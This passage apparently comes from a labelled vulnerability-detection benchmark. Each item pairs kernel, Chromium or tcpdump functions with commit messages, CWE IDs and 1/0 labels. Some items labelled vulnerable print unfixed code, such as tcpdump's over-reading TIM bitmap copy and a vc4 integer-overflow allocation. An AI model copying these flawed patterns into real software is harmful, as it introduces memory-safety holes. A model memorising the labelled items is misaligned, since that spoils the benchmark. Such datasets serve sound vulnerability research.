goto fail;
}
if (copy_from_user(exec->shader_rec_u,
(void __user *)(uintptr_t)args->shader_rec,
args->shader_rec_size)) {
ret = -EFAULT;
goto fail;
}
if (copy_from_user(exec->uniforms_u,
(void __user *)(uintptr_t)args->uniforms,
args->uniforms_size)) {
ret = -EFAULT;
goto fail;
}
bo = vc4_bo_create(dev, exec_size, true);
if (IS_ERR(bo)) {
DRM_ERROR("Couldn't allocate BO for binning\n");
ret = PTR_ERR(bo);
goto fail;
}
exec->exec_bo = &bo->base;
list_add_tail(&to_vc4_bo(&exec->exec_bo->base)->unref_head,
&exec->unref_list);
exec->ct0ca = exec->exec_bo->paddr + bin_offset;
exec->bin_u = bin;
exec->shader_rec_v = exec->exec_bo->vaddr + shader_rec_offset;
exec->shader_rec_p = exec->exec_bo->paddr + shader_rec_offset;
exec->shader_rec_size = args->shader_rec_size;
exec->uniforms_v = exec->exec_bo->vaddr + uniforms_offset;
exec->uniforms_p = exec->exec_bo->paddr + uniforms_offset;
exec->uniforms_size = args->uniforms_size;
ret = vc4_validate_bin_cl(dev,
exec->exec_bo->vaddr + bin_offset,
bin,
exec);
if (ret)
goto fail;
ret = vc4_validate_shader_recs(dev, exec);
if (ret)
goto fail;
/* Block waiting on any previous rendering into the CS's VBO,
* IB, or textures, so that pixels are actually written by the
* time we try to read them.
*/
ret = vc4_wait_for_seqno(dev, exec->bin_dep_seqno, ~0ull, true);
fail:
drm_free_large(temp);
return ret;
}
Commit Message: drm/vc4: Fix an integer overflow in temporary allocation layout.
We copy the unvalidated ioctl arguments from the user into kernel
temporary memory to run the validation from, to avoid a race where the
user updates the unvalidate contents in between validating them and
copying them into the validated BO.
However, in setting up the layout of the kernel side, we failed to
check one of the additions (the roundup() for shader_rec_offset)
against integer overflow, allowing a nearly MAX_UINT value of
bin_cl_size to cause us to under-allocate the temporary space that we
then copy_from_user into.
Reported-by: Murray McAllister <murray.mcallister@insomniasec.com>
Signed-off-by: Eric Anholt <eric@anholt.net>
Fixes: d5b1a78a772f ("drm/vc4: Add support for drawing 3D frames.")
CWE ID: CWE-190
| 1
| 168,385
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void MediaElementAudioSourceHandler::PrintCORSMessage(const String& message) {
if (Context()->GetExecutionContext()) {
Context()->GetExecutionContext()->AddConsoleMessage(
ConsoleMessage::Create(kSecurityMessageSource, kInfoMessageLevel,
"MediaElementAudioSource outputs zeroes due to "
"CORS access restrictions for " +
message));
}
}
Commit Message: Simplify "WouldTaintOrigin" concept in media/blink
Currently WebMediaPlayer has three predicates:
- DidGetOpaqueResponseFromServiceWorker
- HasSingleSecurityOrigin
- DidPassCORSAccessCheck
. These are used to determine whether the response body is available
for scripts. They are known to be confusing, and actually
MediaElementAudioSourceHandler::WouldTaintOrigin misuses them.
This CL merges the three predicates to one, WouldTaintOrigin, to remove
the confusion. Now the "response type" concept is available and we
don't need a custom CORS check, so this CL removes
BaseAudioContext::WouldTaintOrigin. This CL also renames
URLData::has_opaque_data_ and its (direct and indirect) data accessors
to match the spec.
Bug: 849942, 875153
Change-Id: I6acf50169d7445c4ff614e80ac606f79ee577d2a
Reviewed-on: https://chromium-review.googlesource.com/c/1238098
Reviewed-by: Fredrik Hubinette <hubbe@chromium.org>
Reviewed-by: Kinuko Yasuda <kinuko@chromium.org>
Reviewed-by: Raymond Toy <rtoy@chromium.org>
Commit-Queue: Yutaka Hirano <yhirano@chromium.org>
Cr-Commit-Position: refs/heads/master@{#598258}
CWE ID: CWE-732
| 0
| 144,632
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: parse_elements(netdissect_options *ndo,
struct mgmt_body_t *pbody, const u_char *p, int offset,
u_int length)
{
u_int elementlen;
struct ssid_t ssid;
struct challenge_t challenge;
struct rates_t rates;
struct ds_t ds;
struct cf_t cf;
struct tim_t tim;
/*
* We haven't seen any elements yet.
*/
pbody->challenge_present = 0;
pbody->ssid_present = 0;
pbody->rates_present = 0;
pbody->ds_present = 0;
pbody->cf_present = 0;
pbody->tim_present = 0;
while (length != 0) {
/* Make sure we at least have the element ID and length. */
if (!ND_TTEST2(*(p + offset), 2))
return 0;
if (length < 2)
return 0;
elementlen = *(p + offset + 1);
/* Make sure we have the entire element. */
if (!ND_TTEST2(*(p + offset + 2), elementlen))
return 0;
if (length < elementlen + 2)
return 0;
switch (*(p + offset)) {
case E_SSID:
memcpy(&ssid, p + offset, 2);
offset += 2;
length -= 2;
if (ssid.length != 0) {
if (ssid.length > sizeof(ssid.ssid) - 1)
return 0;
if (!ND_TTEST2(*(p + offset), ssid.length))
return 0;
if (length < ssid.length)
return 0;
memcpy(&ssid.ssid, p + offset, ssid.length);
offset += ssid.length;
length -= ssid.length;
}
ssid.ssid[ssid.length] = '\0';
/*
* Present and not truncated.
*
* If we haven't already seen an SSID IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->ssid_present) {
pbody->ssid = ssid;
pbody->ssid_present = 1;
}
break;
case E_CHALLENGE:
memcpy(&challenge, p + offset, 2);
offset += 2;
length -= 2;
if (challenge.length != 0) {
if (challenge.length >
sizeof(challenge.text) - 1)
return 0;
if (!ND_TTEST2(*(p + offset), challenge.length))
return 0;
if (length < challenge.length)
return 0;
memcpy(&challenge.text, p + offset,
challenge.length);
offset += challenge.length;
length -= challenge.length;
}
challenge.text[challenge.length] = '\0';
/*
* Present and not truncated.
*
* If we haven't already seen a challenge IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->challenge_present) {
pbody->challenge = challenge;
pbody->challenge_present = 1;
}
break;
case E_RATES:
memcpy(&rates, p + offset, 2);
offset += 2;
length -= 2;
if (rates.length != 0) {
if (rates.length > sizeof rates.rate)
return 0;
if (!ND_TTEST2(*(p + offset), rates.length))
return 0;
if (length < rates.length)
return 0;
memcpy(&rates.rate, p + offset, rates.length);
offset += rates.length;
length -= rates.length;
}
/*
* Present and not truncated.
*
* If we haven't already seen a rates IE,
* copy this one if it's not zero-length,
* otherwise ignore this one, so we later
* report the first one we saw.
*
* We ignore zero-length rates IEs as some
* devices seem to put a zero-length rates
* IE, followed by an SSID IE, followed by
* a non-zero-length rates IE into frames,
* even though IEEE Std 802.11-2007 doesn't
* seem to indicate that a zero-length rates
* IE is valid.
*/
if (!pbody->rates_present && rates.length != 0) {
pbody->rates = rates;
pbody->rates_present = 1;
}
break;
case E_DS:
memcpy(&ds, p + offset, 2);
offset += 2;
length -= 2;
if (ds.length != 1) {
offset += ds.length;
length -= ds.length;
break;
}
ds.channel = *(p + offset);
offset += 1;
length -= 1;
/*
* Present and not truncated.
*
* If we haven't already seen a DS IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->ds_present) {
pbody->ds = ds;
pbody->ds_present = 1;
}
break;
case E_CF:
memcpy(&cf, p + offset, 2);
offset += 2;
length -= 2;
if (cf.length != 6) {
offset += cf.length;
length -= cf.length;
break;
}
memcpy(&cf.count, p + offset, 6);
offset += 6;
length -= 6;
/*
* Present and not truncated.
*
* If we haven't already seen a CF IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->cf_present) {
pbody->cf = cf;
pbody->cf_present = 1;
}
break;
case E_TIM:
memcpy(&tim, p + offset, 2);
offset += 2;
length -= 2;
if (tim.length <= 3) {
offset += tim.length;
length -= tim.length;
break;
}
if (tim.length - 3 > (int)sizeof tim.bitmap)
return 0;
memcpy(&tim.count, p + offset, 3);
offset += 3;
length -= 3;
memcpy(tim.bitmap, p + offset + 3, tim.length - 3);
offset += tim.length - 3;
length -= tim.length - 3;
/*
* Present and not truncated.
*
* If we haven't already seen a TIM IE,
* copy this one, otherwise ignore this one,
* so we later report the first one we saw.
*/
if (!pbody->tim_present) {
pbody->tim = tim;
pbody->tim_present = 1;
}
break;
default:
#if 0
ND_PRINT((ndo, "(1) unhandled element_id (%d) ",
*(p + offset)));
#endif
offset += 2 + elementlen;
length -= 2 + elementlen;
break;
}
}
/* No problems found. */
return 1;
}
Commit Message: CVE-2017-13008/IEEE 802.11: Fix TIM bitmap copy to copy from p + offset.
offset has already been advanced to point to the bitmap; we shouldn't
add the amount to advance again.
This fixes a buffer over-read discovered by Brian 'geeknik' Carpenter.
Add a test using the capture file supplied by the reporter(s).
While we're at it, remove some redundant tests - we've already checked,
before the case statement, whether we have captured the entire
information element and whether the entire information element is
present in the on-the-wire packet; in the cases for particular IEs, we
only need to make sure we don't go past the end of the IE.
CWE ID: CWE-125
| 1
| 167,887
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool f2fs_lookup_extent_tree(struct inode *inode, pgoff_t pgofs,
struct extent_info *ei)
{
struct f2fs_sb_info *sbi = F2FS_I_SB(inode);
struct extent_tree *et = F2FS_I(inode)->extent_tree;
struct extent_node *en;
bool ret = false;
f2fs_bug_on(sbi, !et);
trace_f2fs_lookup_extent_tree_start(inode, pgofs);
read_lock(&et->lock);
if (et->largest.fofs <= pgofs &&
et->largest.fofs + et->largest.len > pgofs) {
*ei = et->largest;
ret = true;
stat_inc_largest_node_hit(sbi);
goto out;
}
en = (struct extent_node *)__lookup_rb_tree(&et->root,
(struct rb_entry *)et->cached_en, pgofs);
if (!en)
goto out;
if (en == et->cached_en)
stat_inc_cached_node_hit(sbi);
else
stat_inc_rbtree_node_hit(sbi);
*ei = en->ei;
spin_lock(&sbi->extent_lock);
if (!list_empty(&en->list)) {
list_move_tail(&en->list, &sbi->extent_list);
et->cached_en = en;
}
spin_unlock(&sbi->extent_lock);
ret = true;
out:
stat_inc_total_hit(sbi);
read_unlock(&et->lock);
trace_f2fs_lookup_extent_tree_end(inode, pgofs, ei);
return ret;
}
Commit Message: f2fs: fix a bug caused by NULL extent tree
Thread A: Thread B:
-f2fs_remount
-sbi->mount_opt.opt = 0;
<--- -f2fs_iget
-do_read_inode
-f2fs_init_extent_tree
-F2FS_I(inode)->extent_tree is NULL
-default_options && parse_options
-remount return
<--- -f2fs_map_blocks
-f2fs_lookup_extent_tree
-f2fs_bug_on(sbi, !et);
The same problem with f2fs_new_inode.
Signed-off-by: Yunlei He <heyunlei@huawei.com>
Signed-off-by: Jaegeuk Kim <jaegeuk@kernel.org>
CWE ID: CWE-119
| 0
| 86,089
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: printing::PreviewMetafile* PrintWebViewHelper::PrintPreviewContext::metafile() {
DCHECK(IsRendering());
return metafile_.get();
}
Commit Message: Guard against the same PrintWebViewHelper being re-entered.
BUG=159165
Review URL: https://chromiumcodereview.appspot.com/11367076
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@165821 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 102,602
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct kmem_cache_node *early_kmem_cache_node_alloc(gfp_t gfpflags,
int node)
{
struct page *page;
struct kmem_cache_node *n;
unsigned long flags;
BUG_ON(kmalloc_caches->size < sizeof(struct kmem_cache_node));
page = new_slab(kmalloc_caches, gfpflags, node);
BUG_ON(!page);
if (page_to_nid(page) != node) {
printk(KERN_ERR "SLUB: Unable to allocate memory from "
"node %d\n", node);
printk(KERN_ERR "SLUB: Allocating a useless per node structure "
"in order to be able to continue\n");
}
n = page->freelist;
BUG_ON(!n);
page->freelist = get_freepointer(kmalloc_caches, n);
page->inuse++;
kmalloc_caches->node[node] = n;
#ifdef CONFIG_SLUB_DEBUG
init_object(kmalloc_caches, n, 1);
init_tracking(kmalloc_caches, n);
#endif
init_kmem_cache_node(n);
inc_slabs_node(kmalloc_caches, node, page->objects);
/*
* lockdep requires consistent irq usage for each lock
* so even though there cannot be a race this early in
* the boot sequence, we still disable irqs.
*/
local_irq_save(flags);
add_partial(n, page, 0);
local_irq_restore(flags);
return n;
}
Commit Message: remove div_long_long_rem
x86 is the only arch right now, which provides an optimized for
div_long_long_rem and it has the downside that one has to be very careful that
the divide doesn't overflow.
The API is a little akward, as the arguments for the unsigned divide are
signed. The signed version also doesn't handle a negative divisor and
produces worse code on 64bit archs.
There is little incentive to keep this API alive, so this converts the few
users to the new API.
Signed-off-by: Roman Zippel <zippel@linux-m68k.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: john stultz <johnstul@us.ibm.com>
Cc: Christoph Lameter <clameter@sgi.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-189
| 0
| 24,789
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int atusb_get_and_clear_error(struct atusb *atusb)
{
int err = atusb->err;
atusb->err = 0;
return err;
}
Commit Message: ieee802154: atusb: do not use the stack for buffers to make them DMA able
From 4.9 we should really avoid using the stack here as this will not be DMA
able on various platforms. This changes the buffers already being present in
time of 4.9 being released. This should go into stable as well.
Reported-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable@vger.kernel.org
Signed-off-by: Stefan Schmidt <stefan@osg.samsung.com>
Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
CWE ID: CWE-119
| 0
| 68,770
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: long keyctl_instantiate_key_common(key_serial_t id,
struct iov_iter *from,
key_serial_t ringid)
{
const struct cred *cred = current_cred();
struct request_key_auth *rka;
struct key *instkey, *dest_keyring;
size_t plen = from ? iov_iter_count(from) : 0;
void *payload;
long ret;
kenter("%d,,%zu,%d", id, plen, ringid);
if (!plen)
from = NULL;
ret = -EINVAL;
if (plen > 1024 * 1024 - 1)
goto error;
/* the appropriate instantiation authorisation key must have been
* assumed before calling this */
ret = -EPERM;
instkey = cred->request_key_auth;
if (!instkey)
goto error;
rka = instkey->payload.data[0];
if (rka->target_key->serial != id)
goto error;
/* pull the payload in if one was supplied */
payload = NULL;
if (from) {
ret = -ENOMEM;
payload = kvmalloc(plen, GFP_KERNEL);
if (!payload)
goto error;
ret = -EFAULT;
if (!copy_from_iter_full(payload, plen, from))
goto error2;
}
/* find the destination keyring amongst those belonging to the
* requesting task */
ret = get_instantiation_keyring(ringid, rka, &dest_keyring);
if (ret < 0)
goto error2;
/* instantiate the key and link it into a keyring */
ret = key_instantiate_and_link(rka->target_key, payload, plen,
dest_keyring, instkey);
key_put(dest_keyring);
/* discard the assumed authority if it's just been disabled by
* instantiation of the key */
if (ret == 0)
keyctl_change_reqkey_auth(NULL);
error2:
kvfree(payload);
error:
return ret;
}
Commit Message: KEYS: fix dereferencing NULL payload with nonzero length
sys_add_key() and the KEYCTL_UPDATE operation of sys_keyctl() allowed a
NULL payload with nonzero length to be passed to the key type's
->preparse(), ->instantiate(), and/or ->update() methods. Various key
types including asymmetric, cifs.idmap, cifs.spnego, and pkcs7_test did
not handle this case, allowing an unprivileged user to trivially cause a
NULL pointer dereference (kernel oops) if one of these key types was
present. Fix it by doing the copy_from_user() when 'plen' is nonzero
rather than when '_payload' is non-NULL, causing the syscall to fail
with EFAULT as expected when an invalid buffer is specified.
Cc: stable@vger.kernel.org # 2.6.10+
Signed-off-by: Eric Biggers <ebiggers@google.com>
Signed-off-by: David Howells <dhowells@redhat.com>
Signed-off-by: James Morris <james.l.morris@oracle.com>
CWE ID: CWE-476
| 0
| 60,577
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: EGLDisplay egl_display() { return rendering_helper_->egl_display(); }
Commit Message: Convert plugin and GPU process to brokered handle duplication.
BUG=119250
Review URL: https://chromiumcodereview.appspot.com/9958034
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@132303 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 106,995
|
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